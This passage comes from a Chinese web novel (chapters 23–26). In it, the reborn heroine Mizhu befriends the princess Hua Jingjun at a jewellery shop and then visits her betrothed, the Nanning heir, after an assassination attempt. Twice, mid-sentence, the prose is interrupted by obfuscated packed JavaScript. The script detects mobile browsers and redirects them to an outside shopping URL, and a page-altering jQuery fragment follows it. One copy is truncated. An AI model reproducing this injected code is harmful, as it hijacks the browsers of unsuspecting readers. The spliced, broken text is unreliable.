“但我恨他的时候,其实是在逃避自己的无知与懦弱。因为他的不好,是早就发生,明明白白摆在我面前的,我只是之前没有看到这一点。况且,蓄月也曾经提点过我,要和曲立封保持距离,是我那时候不听,太过于偏听偏信,以为自己遇到的是个良人…” 23.第 23 章 记忆在这一瞬,似乎回到了前世,千百种画面一幕幕闪过面前,有自己泪流满面的,有自己痛彻心扉的,还有悔恨不甘无奈到几乎要自戕的。 蜜珠直到此刻,才有心情去感受和梳理,这些过去的记忆。 小柳儿有些不敢说话,只呆呆看着面前的大小姐。 蜜珠长发乌黑,眼眸莹莹,虽还是轻声细语的说话,却好像在讲别人的故事一般,有种千帆过尽的复杂与清冷。 “…我明白了,怨恨别人,将自己放到无奈卑微的位置上是无用的。真正有用的是在什么样的处境,就正视面前发生的一切,尽可能站起来。” 小柳儿呐呐道:“小姐,你把我说糊涂了。” 她有些听不懂大小姐在说什么了。 蜜珠回过神来,却只是注视着小柳儿笑笑。 “听不懂没关系,这是好事。我倒是希望你能一直像现在这般。” 能够一辈子保持单纯天真,未尝不是一种幸福。 “睡罢。”蜜珠不再说话。 只留下小柳儿走到外面守夜的时候,还在努力回想方才小姐说的那些。 是曲公子先前欺负小姐,让小姐受委屈了吗? 她怎么觉得小姐好像藏了许多很深的苦楚呢? 可是她明明从小到大都陪着小姐呀,没见小姐被旁人欺负。 翌日蜜珠没像往常那样戴帷帽出门。 蓄月领着她往京城最繁华的两条街过去,那儿的胭脂水粉连同首饰铺子,常常让许多贵人们抢破头。 尤其是金玉阁,里头的首饰可谓一绝,里面的师傅那双巧手听说是祖传下来的技艺。 据闻对方的先祖,从前做过宫廷里的大师。也不知道为什么,名头那么响,怎么没被皇宫里的人请进去。 蜜珠进去时,就见里头站了个还不到豆蔻的小姑娘,身后跟着几个婆子丫鬟,通身的气派,就连发上的珠翠颜色都比旁人的耀眼。 小姑娘约莫十一二岁的年纪,眉眼中还有些稚嫩,但容颜却是极好的,天生的美人胚子,一举一动也看着庄重,一看就是行事有度的人家里养出来的。 见着金玉阁外头又有新的人来,小姑娘从一堆首饰里抬起眼睛,朝着蜜珠看了过来。 两人对视的刹那,都愣了一下。 都是第一次见彼此,但都为对方的容颜所震撼了片刻,觉得格外面善。 “你也来金玉阁买首饰吗?”越过了丫鬟婆子们,小姑娘主动走过来,和蜜珠说话。 她说话脆生生,和蜜珠笑起来的时候,一点儿都不认生,仿佛两人是老相识一般,无形中很给人亲切感。 蜜珠莞尔:“是啊。来转转。” “怎么先前从来没见过你呀。”小姑娘又开口,一双圆溜溜的眼睛,好奇地望着蜜珠。 满京城里哪些女子好看,她都知道,偏偏面前这姐姐,却看着极为陌生。 若是让她见过,哪怕只远远地一次,她都不会忘记这样的面容。 “我鲜少出门,这还是头一次来这儿。” 蜜珠也没有隐瞒,轻声开口回答。 过去她经常深居简出,娘怕她容貌太盛,在外面若是经常晃荡,恐招惹了富贵人家的纨绔子,反倒招来祸患。 是以打从蜜珠过了十二岁之后,就不怎么去街上溜达了。 像今日这般不戴帷帽,直接出行,还是记忆里少有的经历。 兴许是因为,如今她背后是一桩圣上赐的婚,也算是有“靠山”了吧。 两人打过招呼之后,蜜珠就去了掌柜那儿,问起头面的事情。 哪知道,掌柜听说她要找师傅打头面,脸上露出了为难之色。 “这两个月我们常师傅手里怕是没空档接活儿了。姑娘着急吗,若是不着急,不妨等两个月。” 谁让金玉阁的名气大呢,常师傅的手艺好,做出来的首饰也精致,引来不少人慕名而来,专程点名让常师傅帮忙打首饰。 尤其是那些官宦人家的女儿出嫁,需要压箱底的嫁妆和头面,那是一定要摸到金玉阁来的。 蜜珠还没说什么,身旁的小柳儿已经憋不住了。 “等不及,我们姑娘快要成亲了,哪里有时间慢慢等。” 掌柜的一愣,随即无奈苦笑。 “那真是不巧了,要不姑娘去别家铺子转转,兴许有其他的师傅手艺好,能接下这个活儿。” 金玉阁能有那么好的名声,有一点原则是从来不会变的,就是不轻易赶工,确保师傅打的每一个首饰,都能达到最好的效果,绝对不留任何瑕疵。 是以,金玉阁这么多年来,老主顾带来新主顾,客人源源不断,根本就不愁生意。 否则掌柜也不会明明看着蜜珠是个不缺钱的大家千金,但却把生意往外推,让她去寻别的首饰铺子了。 就在蜜珠决定去别的地方看看,刚刚走到门边时,却听身后传来了声音。 “诶姑娘留步。”快步赶过来的掌柜,瞧着比方才客气很多,对蜜珠扯着笑容道。 “姑娘若是成亲急着要首饰,这里倒是有一批现成的头面,姑娘是否要看看?” “放心放心,也是咱们金玉阁的师傅打的首饰,能当传家宝的那种。” 掌柜好声好气说着,余光却瞥着后方的反应。 金玉阁哪那么刚好,有这么一批现成的头面哦,还不是小祖宗说有,把那部分名额腾了出来,说是一定要给这姑娘。 蜜珠对掌柜短暂的变化并不清楚,她只是疑惑。 嗯?刚刚不是还没有吗? 她目光落向掌柜,也不知怎么的,和方才那有过几句对话的小姑娘,重新对上了视线。 小姑娘对她盈盈一笑:“姐姐成亲要紧。恰好我先前在这儿定了一批首饰,并不急着用,若是姐姐能看上,就让姐姐先挑。” 吧啦吧啦说了这么一堆的华静莙,在瞧着蜜珠时,眼里的光几乎都要变成小星星,亮晶晶的,是藏不住的喜欢。 啊啊啊啊未来嫂嫂怎么这么好看啊! 京城传闻果然不骗人! 娘说能在首饰铺子里蹲到嫂嫂,她就提前来蹲了,一连三五日,黄花菜都凉了,嫂嫂终于来了! 她一定是这个世上最幸福的小姑子,能有这么美若天仙的嫂嫂,啊啊啊幸福。 蜜珠这才明白,为何掌柜会改了主意让自己留步。 原来是有人将在金玉阁的首饰让给了自己。 而且,看向她的小姑娘,虽然一瞧就气度非凡,但却在望着自己的时候,浑身散发善意,眼睛都像是在说话。 蜜珠太少和人交际了,唯一的好友这两年又不在京城,导致她压根没有什么手帕交。 说起来,其实是会羡慕其他姑娘有闺中密友的。 但她从前常常在府里闭门不出,没有结识其他女子的机会,久而久之,就一直保持着简单的社交,没什么好友之间的往来。 “谢谢你。”蜜珠弯了弯唇。 她这一笑,不仅是华静莙,就连掌柜都一阵愣神,被她的笑靥给晃到了。 掌柜也诧异,怎么从前竟然没见过这姑娘。 她这双眼睛,在京城开金玉阁这么久,见过多少貌美女子,那简直是数不清的。 可若是将她们按照容貌性情去排个数,那比起来,似乎没有一个能与 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真的到了库房里,看到那些做好的首饰并排放在陈列的货架上时,蜜珠都有些愣住。 金玉阁就像一个藏宝库一样,摆放在库房里的首饰,无论是精细程度还是成色,都是市面上难寻的。掌柜的确没有说大话,这些头面是能当传家宝的。 “姐姐,你瞧上什么就直接拿。我年纪还小,成亲还要很久很久呢,也用不到这些首饰压箱底。” 怕蜜珠不好意思选首饰,华静莙挽着她手臂,甜甜开口。 “好,谢谢你。” 面对华静莙的热情,蜜珠都有些不好意思了。 然而华静莙却只冲她眨眨眼,面露俏皮之色道。 “姐姐往后喊我莙莙就好啦。” 蜜珠立刻开口:“莙莙。” 她到现在还没弄清楚,莙莙是哪个府上的姑娘。 也怪她之前从来不留意京中贵人圈子,算是游离于外的人,所以根本就认不清人。 “姐姐,我祖父是将军。我家世复杂,门第也不怎么显贵,往常遇不到投缘的朋友。今日不知怎么的,见到姐姐,觉得好亲切。先前我们应没机会见,如今认识了,才更要好好亲近才对。” 华静莙主动介绍自己的情况。 蜜珠听她之前没什么朋友,心里也生出了一些了一些亲近之意。 哪怕华静莙显得年纪小一些,但那股聪慧劲儿,能让人忽视她的年龄,自然而然交谈起来。 最后蜜珠更是答应了对方,过段时间收到了帖子,去人家府上玩。 但是直到她离开金玉阁,两人分开的时候,蜜珠才想起来,和莙莙交谈了小半日,可她连对方住在哪儿,是哪家的姑娘还不知道。 只晓得对方有一个当将军的祖父。 但满京城里当过将军的人也是不少,尤其是“对方祖父”这个年纪,约莫就是随着太祖一起打天下的开国功臣了,那更是有一大批,一时之间还真无法确定对方是谁。 “今日还真幸运呢。”小柳儿回去的时候,还替自家小姐感到高兴。 那么多好看的头面首饰,也得多亏了那叫莙莙的姑娘主动割爱。 蜜珠心情也不错,是以主仆几人回去时,脸上都是带着笑的。 然而南宁王府今日却不怎么好,正陷在一片混乱中。 华静莙刚刚回到王府,就听府里的下人说起今日发生的大事。 “世子爷被带去皇宫看太医,然而回来的路上,却遇到了刺客!” 24.第 24 章 “什么?刺客?!”华静莙花容失色,脸都吓白了。 她拔腿就往兄长住的地方跑去。 她去的时候,华宣身上的伤势已经被府里养的大夫看过,处理了骇人的伤势,伤口已经被包扎。 但即使如此,陷入昏迷的华宣,瞧着脸色一片惨白,还是非常虚弱。 在外头显得格外机灵的华静莙,在瞧见兄长这副病恹恹的模样时,差点被吓坏。 “娘,兄长怎么会被刺客刺杀呢?” 长公主端着一碗药过来时,小郡主扑了过来。 “此事说来话长。”长公主叹息,怕女儿被吓着,只轻描淡写道。 “你兄长没事,只是一些外伤,当时血流的多罢了。养一段日子就好。” 说是这么说,长公主端庄素净的脸上,却隐晦的闪过几丝恨意。 任凭哪个当娘的,亲眼瞧见自己的孩子,从鬼门关里几次打转回来,都无法做到心平气和。 她拍了拍女儿的肩膀,对她道。 “快些去歇息,你兄长这里有我。” 华宣并不喜欢侍女伺候,何况她这儿子情况特殊,等闲人也不适合近身。 所以这次受伤之后,长公主就几乎寸步不离儿子。 只是去一趟皇宫,回来时却成了个血人,去的时候明明还好好的。 一来一回对比如此强烈鲜明,望着儿子的伤,长公主被勾起了许多陈年的记忆。 那些记忆里有恨,还有刀剑一般凛冽的恨意。 许多恨意随着时间流逝,本就是勉强被她藏到了冰面下,但现在竟然还有人一而再再而三的砸开冰面,将那下面藏着的许多滔天恨意勾起,近乎被暖阳照成洪水,将心房淹没。 “娘,我不放心,我也想看着兄长…” 华静莙盯着床上紧闭双眸的华宣,心中是说不清的担忧。 从她出生时候起,就知道一件无比惋惜的事情——她的兄长本来是个天生的神童,三岁就能过目不忘出口成章。 然而三岁时进了一趟皇宫,就因为被后宫妃子之间的争斗牵连,无意中喝下了有毒的茶。 从那以后,兄长就变成了她记忆里看到的那个样子——不爱与人接触,性子也胆怯,似乎永远也长不大,话也少的孩童。 京城有一些贵女总是会讨论,如今有多少公子哥是最出色的未来夫君人选,可这些公子哥里,从来不见她兄长的名字。 难道是她兄长长得不够貌若潘安风华绝对吗? 不,那些被京城贵女们推崇的男子,她也暗地里见过不少,可有哪一个面对面站在兄长面前,能不落下风? 一个都找不到。 只是时运不济、天妒英才罢了。 华静莙不止一次为自家兄长感到惋惜和心痛。 好不容易圣上有点儿良心,知道给兄长找一个好看的姑娘当妻子,她也见过了未来嫂嫂,满意的不得了,只等着嫂嫂过门,也给他们王府增加一点儿喜庆。 可才这么一会儿,就听到兄长去了一趟皇宫,归途就遇到了刺客,如今伤成了这样,只能躺在榻上一动不动。 太欺负人了!太欺负人了! 华静莙眼泪都飙了出来,吸着鼻子对长公主道。 “娘,我不服气。” 长公主看出女儿小小身形中燃着的愤怒,伸出一只手臂搂住了她。 “娘也未尝好受。” 所谓的刺客,刺客… 天子脚下,还是距离皇宫那么近的地方,怎么就能这么恰好的遇到刺客? 想必那也只是有人想要他们遇到刺客罢了。 * 蜜珠才刚刚回到府里不久,就听蓄月打探了消息过来对她道。 “小姐,南宁王世子今日从皇宫出来,遇到了刺客。” 蜜珠一惊。 “刺客?他受伤了吗?现在怎么样了?” 心底里,蜜珠已经接受南宁王世子是自己未来的夫婿了,哪怕这个人可能真的如旁人所说是痴傻的,但…至少对方会给到她一个不用再和其他男子成亲的庇护。 蓄月:“没打听到伤势如何。” “刺客倒是被抓住了。据说对方被抓住之前,还在那喊着,说要斩草除根,除掉前朝余孽…” 说到这里,蓄月神情一顿,下意识去看蜜珠的反应。 这一场意外听起来像是来自民间自发的行动,是前朝遗留下来的问题。 但这些,都会让一些记得旧事的人,想到南宁王府和前朝的渊源。 南宁王府身份尴尬,在长公主下嫁之前,只是一个将军府。 当时的华将军,有着从龙之功,但毕竟只是一个不怎么起眼的草莽人物,对方能娶到前朝公主这样国色天香的美人,曾经也让很多人艳羡。 可所有人也同样知道,前朝公主再美,只是一个亡国公主罢了,若是真的娶了对方,那才是让自己和子孙身上都多了一副枷锁,再也没有出头之日。 所以…而今忽然有刺客跳出来,去刺杀已经痴傻了的南宁世子,也是令人很唏嘘。 “兴许是这段日子,南宁世子因为大婚的缘故,太受人瞩目了,才会发生这样的事。” 蓄月低垂着的目光,安慰起蜜珠。 蜜珠回过神,脸上还是略有些苍白。 前世的记忆似乎已经出现了偏差。 南宁世子并没有什么暴病而亡,而是忽然被人刺杀重伤… 具体对方伤势如何,蜜珠如今还不知道。 但她忽然觉得,自己应该去看一下南宁世子。 她做了决定,就觉得半刻也等不下去了。 “小姐?” 蓄月被忽然站起来的蜜珠吓了一跳。 蜜珠一双杏眼亮的惊人。 “去备马车,我们去南宁王府。” 毕竟南宁王府是未来的亲家,哪怕蜜老爷一向习惯审时度势明哲保身,这个时候听到女儿要去探望对方,想了想,还是允了。 他还不忘记和一旁的王氏吩咐道。 “你陪珠儿一块儿去。” 两家人已经结了亲,只等三个月时间一到就成婚,关系自然已经匪浅,听说未来姑爷受伤了,他们去探望探望,也是情分和本分。 眼下这个档口,真的不闻不问了,才不好。 王氏犹豫了片刻,点头道。 “我知道的,不让珠儿一个人去。” 哪怕定了亲,珠儿在她心里,还是那个需要照顾和保护的孩子。王氏怎么放心让对方一个人去南宁王府。 娘儿俩从库房找了些去探望病人要带的人参药材后,就让车夫趁着夜色往王府去了。 因着是去王府,不能带太多人,只能坐一辆马车里,就没去多少人。 小柳儿没能被带上,蜜珠带的是更稳重一些的蓄月。 而王氏也是带了一个身边用惯了的大丫鬟,一行四人连同车夫,在星月升起的天空下去探望病人了。 南宁王府这个时候,也没人能入睡。 只府里年纪最大的祖母,被身边的人劝着,匆匆用了点晚膳,其他人都没有胃口吃饭。 整个王府的气氛,像是在风雨飘摇的晚上,在海上被风浪冲击的一艘巨船,这船看着依然非常霸气,但只有驾驶它的人才知道,船的芯子已经腐烂,随时都会被下一个风浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13345175|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击穿,从而彻底消失在海上。 南宁王一言不发,在厅堂里来回踱步。 长公主就坐在一边,掏出绢丝手帕擦了擦眼角。 整个王府里,她是最不好受的那一个。 怀胎十月,华宣又是她第一个孩子,血浓于水骨肉相连,疼在孩子身上,她心里更不好受。 尤其是…尤其是知道,每一次华宣受伤遇到意外,都和皇宫离不开关系。 皇宫里住着的是谁呢,是她的同胞兄长啊。 九五之尊是她幼时最最信赖的同胞兄长,宠着她几十年,给了她最最大的底气。但到了如今,一而再再而三的发生这样的意外,容不得她去抵赖和辩解了,皇兄是不是真的容不下她的孩儿? 也容不下偌大的一个南宁王府? 所有的一切,都只是表面功夫,做给世人看的? 哪怕她曾经是皇兄最宠爱的妹妹,但当她和所谓的前朝余孽成为一家人,生下了拥有对方血脉的孩子后,她就也成了皇兄所提防的那一方? “不怪你。阿兰,不怪你。” 左右踱步的南宁王,终于停下了步子,注意到了妻子的自责情绪。 他是个标准的读书人,虽说已经到了中年,但还是面白无须,看着很清俊儒雅,是那种哪怕放在朝堂上当做花瓶,皇帝看到了都会觉得赏心悦目的大臣。偏偏他平时话还不多,也不怎么参与世俗的生活,身上就更加没有人近中年的油腻感,显得更加难得。 他和长公主夫妻俩这么多年的感情一直很好,如今见到妻子自责,哪怕不擅长说什么,也依然开口安慰。 “这是意外,只是意外。” 自家是什么情况,他比谁都明白。二十多年前,倘若不是妻子主动下嫁给他,南宁王府不会有这么多年安稳的日子。 他更不会被人称一声南宁王。 别人是凭着祖上的荫蔽,得来富贵荣华和其余的名声。他则是凭着妻子,才得来点旁人的敬重。 但南宁王并不是那种因此就自尊心受挫,反过来要踩在妻子头顶上,以此证明自家是个真男儿的人。他反而愈发感激妻子。 明明贵为长公主,是被当初的先帝,还有如今的明帝都捧在手心的掌上明珠,想要什么样的青年才俊都不是难事,却偏偏选择了自家,从而受了这么多委屈。想到这些,他心中只有无尽的愧疚。 “大夫说了,宣儿没事,只要养上一些日子就能好,你不要过多思虑。” 南宁王拍了拍妻子的手背。 然而长公主却并没有被安慰到,只是抿紧唇,手掌握紧。 女子的直觉有时候出奇的准。 有些东西,她能感受到,但若要偏要去抓个证据,却又无法得到。 相比之下,丈夫在这方面迟钝到就像在圣贤书里蹦出来的人,丝毫不了解人性的黑暗,想的过于单纯了。 偏偏长公主对于自己的那些怀疑,又不能直接在丈夫面前说出来。 真正的真相,她自己接受起来依然有些不能,何况是说服别人呢? “娘睡了没?”长公主忽然想起来婆母,主动关怀。 南宁王清俊的脸上闪过些许无奈:“也不放心宣儿,好说歹说才愿意回房,约莫也是在等宣儿醒过来。” 说来也奇怪,明明大夫说了只是一些皮肉伤,并没有伤到要害,儿子只是一时间失血过多才会暂时昏迷,但这都已经几个时辰了,就是不见他醒来。 南宁王嘴上安慰妻子和母亲的时候,显得很沉着,实际上心里也没有底。 就在这时,二人听到门房来报:“王爷,外头来人了,说是蜜大人的夫人来探望世子爷。” 25.第 25 章 南宁王和长公主同时站了起来。 “快迎人进来。”长公主开口。 自家儿子受伤这事儿,有心打听的人,今夜都能得到消息。难得亲家在这个时候能选择上门来探望。 长公主对这一点还是很欣慰满意的。 她那皇兄别的没做好,起码在给自家挑选儿媳妇上头,也算是眼光好了一回,做了一遭好事,牵了一根好红线。 等到蜜珠跟着王氏一起进到王府来,长公主见到时才一惊,没想到还没过门的儿媳妇会跟过来。 上次去提亲的时候,没有专程点名见蜜珠,今日猛不丁在这个场合见到对方来探望儿子,长公主登时对她的印象就好到能当亲生女儿。 何况不提今日这事带来的好感,只说蜜珠本人,她是那种无论谁见了都说不出“不好”二字的姑娘。 长得冰肌玉骨,容貌天成,美艳的同时却不流于俗气,反而有种灵气逼人的美,再看她一举一动,都没有那种恃着自己美丽就恃宠而骄的感觉,这就更加令人欢喜了。 长公主也是金枝玉叶,见过多少人了,谁是真心和她交往,谁又是趋炎附势为了一时的权势,她都能看清楚。 “世子他受伤了吗?伤势如何?” 在蜜珠开口询问情况时,一旁的王氏略有些不自在。 两家虽然能结为亲家,但毕竟情况特殊,女儿和南宁世子在此前从未接触过,冒然上门来探望,的确是有些冒昧的。 长公主却能感受到蜜珠是真的关怀,心中登时就对她更多了一层喜爱。 “哎,伤势看着吓人,但没有大碍。只是还没醒…” 想着蜜珠还从来没见过宣儿,长公主又道。 “既来了,你随我去看看宣儿罢。” 兴许蜜珠来看了一下,宣儿就醒了呢。 凭一个当娘的直觉,长公主认为儿子是对蜜珠有些特别感觉的,不然也不会同意这桩婚事了。 而且在她从陛下那里得来了赏赐,要去给蜜家下聘时,宣儿甚至还往里面添了十万两的银票,让她单独给亲家,说清楚这是给人家姑娘添妆。 当时长公主就琢磨出了不对劲,往常华宣因着在众人眼里一直是痴傻的形象,这些年也乐得避开各种京城纷争。对那些京城贵女,压根没有其他同龄的公子哥该有的关注,就连贴身侍女也不要,一度让长公主担忧儿子的终身大事。 明帝赐婚的时候,长公主还觉得是皇兄瞎来,随便找了个小官之女,给人家冠上什么大美人的称号,企图随便敷衍南宁王府。 毕竟整个王府里,光是公主就有两位。 前朝公主,也就是华宣的祖母,难道不美吗,当年可是艳绝京城的。她的丈夫从前不英俊么,也是因为对方这副皮囊,才会让自己当年一见倾心。再说她自己,容貌也是不俗的。 而长公主生的两个孩子,无论是世子华宣,还是晚莲郡主,也都是无可挑剔的面容出众。 所以长公主先前对这桩赐婚,是不怎么满意的,甚至能说嗤之以鼻。 也是后来赶回了京城,同意了这桩婚事,在对方那儿得到了肯定,长公主才会一改态度预备去蜜家提亲,还从明帝那里弄来了许多聘礼。 而今见蜜珠听到了华宣受伤的消息,就亲自赶来,长公主对蜜珠更是发自内心多了几丝真心实意的喜爱。 “我晓得,你是女儿家,这桩婚事…让你受委屈了。”长公主握住了蜜珠的手,话里含着深意。 “等到你嫁进来,自然会补偿你。”嫁进来,等日子久了,确定蜜珠可靠了,自然不会再瞒着对方,宣儿隐藏了这么多年的事情。 不是长公主自夸,若不是碍于一些说不得的原因,需要儿子装疯卖傻。就凭着她家宣儿的才气能力与容颜,京城多少贵女会将他看成乘龙快婿啊。 蜜珠这会儿当然听不懂长公主的言外之意,但长公主的善意,她是能清晰感受到的。 “我不委屈。”她摇头。 若她是普通人家的姑娘,当然会希望嫁给一个处处都可心的好夫婿。对于嫁给一个身份高贵,但智力欠缺的世子,会心底藏有不甘。 但她有过上辈子的经历,是再世为人,对许多东西都已经看淡。 能有一个比较好的已婚身份,就能减少许多闲言碎语,又不需要参与后宅那些争风吃醋,她乐得逍遥。 而因着南宁世子的特殊情况,未来婆母对自己也多了几丝体贴和厚待,这反而阴差阳错满足了蜜珠的需求。 长公主带着王氏和蜜珠,往世子的院子走去。 才走到院子门口,就见一个脑袋在门后伸着看她们。 “莙莙,有客人来,还不过来。” 长公主冲那小脑袋招手。 听到“莙莙”两字,蜜珠一怔,下意识抬眸看去。 一道熟悉的身影,慢吞吞冲着长公主走了过来。 蜜珠定睛一看,这被长公主唤作“莙莙”的姑娘,赫然就是今日在金玉阁里新结识的朋友。 对方怎么会在这里出现?而且还… “娘…”华静莙走到长公主跟前时,小声喊了一声娘。 这下蜜珠知道了,对方就是晚莲郡主。 长公主有一子一女,分别是南宁王世子和晚莲郡主。 先前蜜珠没有将对方往这方面想,而今在王府见到了莙莙,再联想对方曾经提过的——将军祖父,她颇有些恍然大悟。 的确,南宁王府的前身是将军府。 “蜜珠姐姐…对不起,白日见面我没有告诉你…”华静莙在看到蜜珠的时候,不好意思的吐了吐舌尖。 她怎么也没想到,自己的身份会在这个场合,那么快的被揭晓。所以有些猝不及防的羞涩和抱歉。 毕竟当时她明明知道蜜珠是自己未来的嫂嫂,但却没有及时告知对方,还卖了个关子… 见华静莙如此害羞,蜜珠莞尔:“看来我们的确很有缘分。” 才在金玉阁里相识,晚上就因着她来探望世子,而知道了对方的真实身份。 蜜珠不仅没有被欺骗的感觉,反而觉得这也是一种缘分。 况且华静莙今日在金玉阁,是帮了自己,特意把定好的首饰让给自己,这份善意不是做假的。 “你们认识?”长公主见到这一幕,也跟着露出了些许笑容。 “嗯,今日在金玉阁里刚见过。”蜜珠笑着回答。 几个人一问一答间,就走到了华宣住着的屋子,外头有几个小厮守着,还有一个在华宣祖母身边常用的大婢女,这会儿也守在对方门口,只等着世子一醒来,就马上去告诉主子。 “李嬷嬷,这是蜜府的大姑娘蜜珠,听到宣儿的事情后,就特意赶来看她了。” 长公主对自己的这个婆婆,心中情感也是极为复杂的,并不是三言两语就能完全说清楚的。 但因为丈夫和过世公公的缘故,她心里对婆母是有几分同情和不知名的愧疚在的,所以哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她们都是看着晚莲郡主长大的。小郡主自小就长得冰雪可爱,但却似乎因着世子这个兄长的遭遇,而对人都带着防备心和芥蒂,很少打开心防与人接触。 看着小郡主明明娇憨可爱,却在京城里连个同龄的闺中好友都没有,她们也是极为心疼的。 所以今日蜜珠登门,她们看见小郡主对她的主动亲近,都有些惊奇和欣慰。 再过不到三个月,蜜珠就嫁进他们王府了,到时候姑嫂二人就在一个府里,小郡主也算是有了真正能亲近的人,这是很值得高兴的。 蜜珠没有注意到那么多,她的注意力在此刻都被屋子里的药味给吸引了。 世子的房间,摆设很简洁,看着甚至不像是一个世子的屋子。 床幔被放下来了,隐约能看到里面躺着个人,但具体是什么样子看不清楚。蜜珠顿住了脚步,下意识觉得再走近了有些不妥当。 一旁的华静莙瞧见未来嫂嫂不走了,眼睛眨了眨,立刻就明白了蜜珠在想什么。 她快步上前,将兄长的床幔拉了起来。 “蜜珠姐姐,你再往前走一点儿,没事的,兄长在睡,不会醒。” 走近一点了,未来嫂嫂才能看到自家兄长的模样啊。 都走到这儿了,蜜珠想了想,没有再迟疑,又往前走了一点。 映入眼帘的一张脸,让蜜珠脚步顿住,眼眸里也浮现了些许惊艳。 26.第 26 章 榻上的年轻男子,生的那叫一个龙章凤姿清俊过人。躺在那里时,完全让人联想不起他从三岁起就痴傻的事实。 若是普通女子见了这幅美男昏睡的画面,想必脸都得跟着红上一红。 蜜珠在这方面的定力算是好的了,但这也不妨碍她看到了美男子后,露出本能的惊艳反应。 华静莙一直留意着未来嫂嫂的神态呢。 见她果然被兄长的模样惊艳到了,嘴角翘起,也有些高兴。 她年纪虽然小,远远没到说亲的年岁,但也知道女子对未来夫婿的期望,没人会高兴自己嫁给一个傻子。 嘿嘿,她的兄长哪怕痴傻,也是个英俊的世子! 何况,何况她心里其实明白。 他们整个王府都藏着一个秘密——兄长不傻。 虽然京城中偶尔也有一些关于南宁王世子的传闻,但蜜珠从前都没特意关注过,也没放在心上过。 天潢贵胄的事情,和她们这些平头百姓有什么关系呢。何况是那种涉及到前朝与当朝血脉的复杂事件。 但所有关于南宁王世子的描述与传闻,在蜜珠亲眼看清对方的脸时,一下子变得具体又真实起来。 原来世上真的有公子如玉的存在。 只是可惜…在想到如此清俊绝伦的男子,竟然在三岁之后就一直痴傻病弱,蜜珠就忍不住从心生生出浓重的叹息。 好像看到了一块美玉,本来被雕琢好是该如何大放光彩,如今美玉有瑕。 “我们…”蜜珠刚想开口说,我们先出去吧。 榻上的男子睁开了双眸。 似乎是巧合,对方睁开双眼时,眸光朝着她看来,更是坐起了上半身,手捂着胸口,咳嗽了两声。 他黑眸清亮,颜色果真如同前朝皇室里传闻的那样,是完全纯黑的,看着让人联想到最神秘的夜空。 “兄长!你醒了!”华静莙也发现了华宣醒来的事实,第一个冲过去。 床幔被她不小心放下,重新将华宣本来露出的姿容盖住。 站在蜜珠的位置,只能看到一道身影。 也不知怎么的,视野里失去了对方的面容后,她心中竟然有一种怅然若失感。 果然美好的人,总是会天然地吸引更多目光。 哪怕她不是一个见色起意的人,在发现自己未来的夫君长成这副模样后,心情竟然也微妙的变好了一些。 她愈发觉得这桩婚事很不错了。 至少她确定了一点,对着南宁世子这样的男子,哪怕对方智力只能像孩童,她也不会太讨厌。就当多了个英俊的弟弟,不也挺好么。 “莙莙。”南宁世子的声音传来。 只这两个字,听着并不像是智力有缺的人,反而这声音极好听。 蜜珠甚至觉得心弦都被撩拨了两下。 “兄长,你醒了就好。你猜,跟我来的人是谁,蜜珠姐姐来瞧你啦,你的未婚妻!” 华静莙没忘记蜜珠,第一反应就是告诉兄长这个事。 这应该是兄长和未来嫂嫂第一次正式见面吧? 她知道兄长不傻,这么多年府里的人虽然没有正面告诉她,但华静莙自己会观察,当然也就发现,在没有外人在场的时候,兄长对府里的人只是话少,显得冷淡平静了一些而已,并不是真的痴傻了 而每次去皇宫,或者有外人在,兄长就会显得更加迟钝一些,于是也就愈发符合世人眼中痴傻的定义。 也许不是兄长故意想装傻,而是这世道容不下聪明的兄长。 华静莙敏锐地意识到了这一点,并且学会了将发现的这个真相藏在心底,也不去问娘和祖母。 她一边给兄长说着蜜珠来探望的事,一边跳起来把碍事的床幔都掀起,挂到了两边。 这样兄长可以更方便地看到蜜珠姐姐! “瞧,兄长,未来嫂嫂好看吧,我第一次见到她的时候,可是差点被迷住了呢!” 华静莙只差翘起尾巴了,语气也兴奋。 蜜珠忽然有些无所适从。 她站在那儿,进也不是,退也不是。 按理说,这里是南宁王世子的厢房,他们虽有婚约,但毕竟尚未成婚,她是不好进来的。 但又因着对方的情况特殊,似乎那点儿男女大防成了莫须有的存在,也不用那么谨守礼仪? 而且这里还有一个小郡主在呢。 蜜珠想着这个,索性又往前走了几步,近距离观察南宁世子。 这毕竟是她往后要一起生活的人,蜜珠还是有些好奇的。 有些人真的是距离越近,就越是耐看。 南宁王世子醒来后,就只喊过同胞妹妹的名字,从那之后就闭紧了唇一言不发,甚至在蜜珠看过来时,下意识偏已了目光,露出来些许瑟缩。 这模样像极了被吓到的小动物,明明对人类充满了好奇,但却又因为害怕受到伤害,而不敢多看人。 尤其是对方身形其实非常修长,看着站在那儿人是比较高大的,这种容貌和气质上的鲜明对比,愈发令人着他生出怜惜。 ——倘若他没有痴傻,该是个多好的少年郎君啊。 曲立封的容貌在男子中,就已经算是不错的了,不然前世也不会再和蜜珠成婚后,又能轻易让其他高官之女为了他爱到你死我活。 但若是把对方放到南宁世子身边,无论找谁来看,都会看出来谁才更出众一些。 南宁世子的脸色,略有些苍白,也不知道是因为这次受伤,身体没有恢复才这样,还是因为之前病弱,身体特殊,所以一直在府中养着,不怎么见光,才瞧着如此虚弱。 但他五官立体俊逸,有种刀削斧凿的感觉,肤色上的一点儿苍白,反而更加衬托出他的明朗。 蜜珠瞧了他一会儿,也不知道怎么了,心里有种怜惜与伤感。 上辈子南宁王世子似乎就是在这不久,因病去世。 这辈子还会如此吗? 她忽然很不希望对方再和前世一样了。 “莙莙,我们不要打扰世子休息了,让他再歇歇吧。今日见过了他,知道他无大碍,我心中就已经放心。” 